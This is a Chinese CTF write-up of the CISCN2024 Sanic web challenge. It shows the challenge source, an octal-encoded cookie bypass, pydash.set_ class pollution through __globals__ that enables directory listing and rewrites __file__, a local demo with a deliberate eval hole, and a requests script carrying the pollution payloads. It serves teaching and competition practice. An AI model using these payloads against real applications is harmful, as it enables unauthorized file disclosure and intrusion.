参考原文

CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

sanic

右键查看源码,/src路由找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

/admin路由中的pydash.set_可以在嵌套的字典中设置值。pydash.set_的参数可控 可以通过这个对修改__file__

在此之前要先让request.ctx.session.get('admin')的值为True

/login路由当Cookie中的user的值为adm;n时会将request.ctx.session.get('admin')的值设置为True 但是Cookie中有;时会存在截断 用8进制绕过 (RFC2068 的编码规则)

_.被过滤了,pydash中的unescape_path_key()进行替换

image-20240722182457553

  • 替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。
  • 替换路径键中的转义点 (\.) 为点 (.)。

尝试污染__file__

image-20240722184221304

image-20240722184226206

由于不知道flag在那个文件中,无法进行读取

然后就需要我们用污染的方式打开列目录功能,然后查看含有flag文件的名字

image-20240722184843271

image-20240722184850215

static中的directory_view被设置为true时,会开启目录浏览功能。而Directory_handler可以控制显示的目录

Directory_handler调用了DirectoryHandler类

跟进DirectoryHandler类+

image-20240722185253922

在router.py中的下一个断点

image-20240722185346407

image-20240722185546642

image-20240722185609795

这里需要将directory_view污染为True。将parts污染为根目录

写一个简易demo在本地调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from sanic import Sanic
from sanic.response import text
import pydash

class Pollute:
def __init__(self):
pass

#创建Sanic应用
app = Sanic(__name__)
app.static("/static/","/static/")

#定义一个简单的路由
@app.route('/')
async def hello(request):
eval(request.args.get('a'))

return text('Hello')

#定义admin路由
@app.route("admin",methods=['POST','GET'])
async def admin(request):
key = request.json['key']
value = request.json['value']

pollute = Pollute()
pydash.set_(pollute,key,value)

return text("Success!")

#启动应用

if __name__ == '__main__':
app.run(host = '0.0.0.0',port = 8000)

这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由

image-20240722190157683

image-20240722190251523

然后可以通过下图的树状结构去寻找direct_view

image-20240722190718291

image-20240722190622357

directory_view的值进行污染

image-20240723103942026

image-20240723103958746

然后再directory的值进行污染

image-20240723104453157

directory是一个对象,里面的值有parts决定。parts,是一个tuple无法被直接污染。

先回到DirectoryHandler类中,跟进path

image-20240723104657434

image-20240723104909435

访问这个属性,发现是字典类型。(自己在调试器里面没找到,只好像大佬一样访问这个属性了)

image-20240723105559549

本地环境出现些小问题,污染_parts用ctfshow的靶场

这里用我bp发包会出现些问题,用gxngxngxn佬的脚本打

这里贴上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

#开启列目录
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#将目录设置在根目录下
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

#读取flag文件
#data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}

cookie={"session":"2678fc75aeb241b3a46c52747e9fa7ff"}

response = requests.post(url='https://7d67a488-843e-497b-988e-b4fa1f0be3d5.challenge.ctf.show/admin', json=data,cookies=cookie,verify=False)

print(response.text)

最后通过污染__file__读取flag